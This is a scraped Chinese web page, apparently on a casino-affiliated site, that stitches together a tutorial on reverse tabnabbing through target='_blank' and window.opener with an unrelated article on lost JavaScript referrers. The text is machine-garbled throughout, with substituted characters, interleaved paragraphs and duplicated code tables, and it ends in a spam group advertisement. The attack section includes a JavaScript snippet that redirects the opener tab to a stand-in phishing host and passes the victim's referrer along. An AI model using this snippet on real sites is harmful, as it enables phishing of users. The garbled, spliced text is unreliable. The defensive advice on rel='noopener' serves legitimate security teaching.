xml地图|网站地图|网站标签 [设为首页] [加入收藏]

你知道吗,javascript操作referer详细解析

来源:http://www.ccidsi.com 作者:最新解决方案 人气:111 发布时间:2019-05-02
摘要:危险的 target=”_blank” 与 “opener” 2018/09/05 · JavaScript· target 原作出处:创宇前端    在网页中利用链接时,纵然想要让浏览器自动在新的标签页展开内定的地点,常常的做法便是在

危险的 target=”_blank” 与 “opener”

2018/09/05 · JavaScript · target

原作出处: 创宇前端   

图片 1

在网页中利用链接时,纵然想要让浏览器自动在新的标签页展开内定的地点,常常的做法便是在 a 标签上增添 target等于"_blank" 属性。

只是,正是其一性子,为钓鱼攻击者带来了可乘之隙。

图片 2

Referrer的重大 HTTP请求中有一个referer的报文头,用来指明当前流量的来自参考页。比如在www.sina.com.cn/sports/上点击2个链接到达cctv.com首页,那么就referrer便是www.sina.com.cn/sports/了。在Javascript中,大家得以经过document.referrer来获取相同的音讯。通过这几个音信,大家就足以知道访客是从什么门路来到当前页面包车型大巴。那对于Web Analytics来讲,是那么些首要的,那足以告知我们不相同门路带来的流量的分布处境,还有用户搜索的机要词等,都以通过分析这些referrer音讯来取得的。

起源

前言

而是,出于丰富多彩的案由,有时候Javascript中读到的referrer却是空字符串。上面总计一下怎么情形下会丢失referrer。

parentopener

在说 opener 从前,能够先聊聊 <iframe> 中的 parent

大家清楚,在 <iframe> 中提供了七个用于老爹和儿子页面交互的对象,叫做 window.parent,大家可以透过 window.parent 对象来从框架中的页面访问父级页面包车型客车 window

opener 与 parent 一样,只然而是用来 <a target="_blank"> 在新标签页展开的页面包车型地铁。通过 <a target="_blank"> 张开的页面,能够直接使用 window.opener 来访问来源页面包车型地铁 window 对象。

在网页中央银行使a链接时,或许会加多二个简易的 target="_blank" 属性到 a 标签上来让浏览器用八个新的价签页来开垦三个 U卡宴L 地址。可是那壹质量正在造成互联网钓鱼者攻击的火候。

修改Location对象进行页面导航 Location对象是1个用于页面导航的拾分实用的目标。因为他同意你只改造Url的当中1部分。比如从cn域名切换成com域名,别的一些不改变:

同域与跨域

浏览器提供了完全的跨域珍惜,在域名一样时,parent 对象和 opener 对象实际就径直是上一级的 window 对象;而当域名区别时,parentopener 则是通过包装的一个 global 对象。这个 global 对象仅提供尤其有限的品质访问,并且在这仅有的多少个属性中,大多数也都以分化意访问的(访问会平昔抛出 DOMException)。

图片 3

在 <iframe> 中,提供了多个 sandbox 属性用于调节框架中的页面包车型地铁权能,由此固然是同域,也能够决定 <iframe> 的安全性。

 

parent 和 opener

复制代码 代码如下:

利用

要是,你的网址上有二个链接,使用了 target="_blank",那么只要用户点击那一个链接并进入贰个新的竹签,新标签中的页面假如存在恶意代码,就足以将您的网址直接导航到八个仿真网址。此时,假诺用户回到你的标签页,看到的正是被轮换过的页面了。

在议论 opener 对象在此以前,大家先看看 <iframe> 里面包车型客车 parent 对象。

window.location.hostname = "example.com";

详细步骤

  1. 在你的网址 https://example.com 上存在一个链接:
&lt;a href="https://an.evil.site"
target="_blank"&gt;进入一个“邪恶”的网站&lt;/a&gt;

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c60150781393-1">
1
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c60150781393-1" class="crayon-line">
&lt;a href=&quot;https://an.evil.site&quot; target=&quot;_blank&quot;&gt;进入一个“邪恶”的网站&lt;/a&gt;
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 用户点击了这些链接,在新的标签页展开了那几个网址。那些网址能够透过 HTTP Header 中的 Referer 属性来剖断用户的来源。并且,这几个网址上含蓄着就像于如此的 JavaScript 代码:
const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?'   url);

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-1">
1
</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5b8f6c4939c6a538489517-2">
2
</div>
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-3">
3
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c6a538489517-1" class="crayon-line">
const url = encodeURIComponent('{{header.referer}}');
</div>
<div id="crayon-5b8f6c4939c6a538489517-2" class="crayon-line crayon-striped-line">
window.opener.location.replace('https://a.fake.site/?'   url);
</div>
<div id="crayon-5b8f6c4939c6a538489517-3" class="crayon-line">
 
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 这会儿,用户在后续浏览那一个新的标签页,而本来的网址所在的标签页此时早就被导航到了 https://a.fake.site/?https://example.com/
  2. 恶意网址 https://a.fake.site 依据 Query String 来冒充一个足以诈骗用户的页面,并体现出来(时期还足以做壹遍跳转,使得浏览器的地点栏更具备吸引性)。
  3. 用户关闭 https://an.evil.site 的标签页,回到原先的网址………………已经回不去了。

上面的抨击步骤是在跨域的情事下的,在跨域意况下,opener 对象和 parent 同样,是受到限制的,仅提供尤其简单的品质访问,并且在那仅有的多少个属性中,大多数也都以不一致意访问的(访问会直接抛出 DOMException)。

但是与 parent 差异的是,在跨域的情形下,opener 仍旧可以调用 location.replace 方法parent 则不得以。

如要是在同域的状态下(比如1个网址上的某四个页面被植入了恶意代码),则意况要比上边严重得多。

大家都精通 <iframe> 提供了三个用以父页面与子页面交互的对象,它正是window.parent。也正是大家得以由此 window.parent 对象去做客父页面的window对象。

不过,通过修改Location进行页面导航的艺术,会形成在IE下丢失Referrer。

防御

``<iframe> 中有 sandbox 属性,而链接,则能够动用下边包车型地铁法子:

而 opener 是跟 parent 同样的靶子,但是它只是用于通过 <a target="_blank"> 来张开的新标签页。你能够透过 window.opener 直接的访问到新标签页面包车型客车 window 对象。

IE5.伍 下回到空字符串

1. Referrer Policy 和 noreferrer

地点的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上能够在 HTTP 的响应头中增添 Referrer Policy 头来保证来源隐秘安全。

Referrer Policy 需求修改后端代码来促成,而在前者,也得以行使 <a> 标签的 rel 属性来内定 rel="noreferrer" 来保险来源隐私安全。

<a href="" target="_blank" rel="noreferrer">进入多少个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

唯独要专注的是:固然限制了 referer 的传递,照旧不可能拦截原标签被恶心跳转。

同域和跨域

Chrome叁.0 ,Firefox3.五,Opera9.6,Safari三.二.2均平常再次来到来源网页

2. noopener

为了安全,今世浏览器都帮忙在 <a> 标签的 rel 属性中钦赐 rel="noopener",这样,在开荒的新标签页中,将不可能再选拔 opener 对象了,它为设置为了 null

<a href="" target="_blank" rel="noopener">进入1个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

浏览器原本提供了完全的跨域爱惜体制。当新旧页面域名一样时,事实上 parent 对象和 opener 对象都以父页面包车型客车 window 对象。当域名分裂时,parent 和 opener 是包裹过的 global 对象。那些 global 对象只提供了老大受限制的性质,在那之中绝大多数的习性是不允许访问的 (当您点出这一个属性时它会抛一个 DOMException 的荒唐)。

window.open方式展开新窗口 示例:

3. JavaScript

noopener 属性看似是涸泽而渔了具备标题,可是…浏览器的包容性难题…

图片 4

能够看看,今后超越二分一浏览器都曾经出色了 rel="noopener" 属性了。然而,为了掩护稍旧的“近代”浏览器或是很旧的“西汉”浏览器依然是“远古”浏览器,唯有 noopener 属性照旧远远不够的。

此刻,就只可以请出上面那段原生 JavaScript 来救助了。

"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }

1
2
3
4
5
6
"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

图片 5图片 6

复制代码 代码如下:

推荐

首先,在网址中的链接上,假如利用了 target="_blank",将在带上 rel="noopener",并且建议带上 rel="noreferrer"。类似于那般:

<a href="" target="_blank" rel="noopener noreferrer">进入2个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

自然,在跳转到第2方网址的时候,为了 SEO 权重,还提出带上 rel="nofollow",所以最终类似于那样:

<a href="" target="_blank" rel="noopener noreferrer nofollow">进入2个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

在 <iframe> 中,提供了3个 sandbox 属性来支配那几个页面包车型客车权位,所以即使是如出一辙域名,你也得以透过它来调整<iframe> 的安全性。

<a href="#" onclick="window.open(';

性能

最终,再来讲说品质难点。

设若网址选拔了 <a target="_blank">,那么新开采的标签页的质量将会潜移默化到目前页面。此时1经新开垦的页面中实施了三个这一个变得庞大的 JavaScript 脚本,那么原始标签页也会遭到震慑,会师世卡顿的风貌(当然未必卡死)。

而就算在链接中出席了 noopener,则此时五个标签页将会互不困扰,使得原页面的性质不会碰着新页面包车型大巴震慑。

1 赞 收藏 评论

图片 7

恶心攻击

点击此链接会在新窗口张开谷歌(Google)网址,大家在地点栏中输入以下js代码就能够看看发送的referrer了。

比如您的网址上有二个运用了 target="_blank" 的 a 标签链接,1旦用户点击了这些链接张开了新的标签页,借使那个标签页跳转的网址内部存款和储蓄器在的恶意代码,那么您原来页面包车型客车网址也许会被转到二个假的页面。也便是说,当用户回到原来的页面时,他来看的大概正是早就被替换过的钓鱼页面了。

复制代码 代码如下:

此地照旧要引进下作者的web前端学习 群 : 687958四陆1,不管你是小白依然大牌,笔者笔者都应接,不定期分享干货,包含作者本人收十的一份最新的web前端资料和0基础入门教程,应接初学和进阶中的小伙伴。在不忙的时光笔者会给大家应对。

javascript:alert(document.referrer)

步骤

测试结果:

  1. 您的网址上有多个 a 标签的链接

IE5.五 下再次回到空字符串

Enter an "evil" website

Chrome三.0 ,Firefox三.伍,Opera9.6,Safari三.二.二均常常重回来源网页

贰个用户点击了这些链接在三个新的标签页张开那么些新的网址。这么些网址能够遵照用户跳转新页面的HTTP 请求中的 header 里的 Referer 字段来显著这么些用户的源点。

倘假使同个域名下通过此措施跳转的,那么大家能够透过访问windoww.opener对象去获取丢失的referrer音信。代码如下:

而那几个网址包涵类似的 JavaScript code:

复制代码 代码如下:

本文由68399皇家赌场发布于最新解决方案,转载请注明出处:你知道吗,javascript操作referer详细解析

关键词: 68399皇家赌场 JavaScript 你知道 危险 链接

最火资讯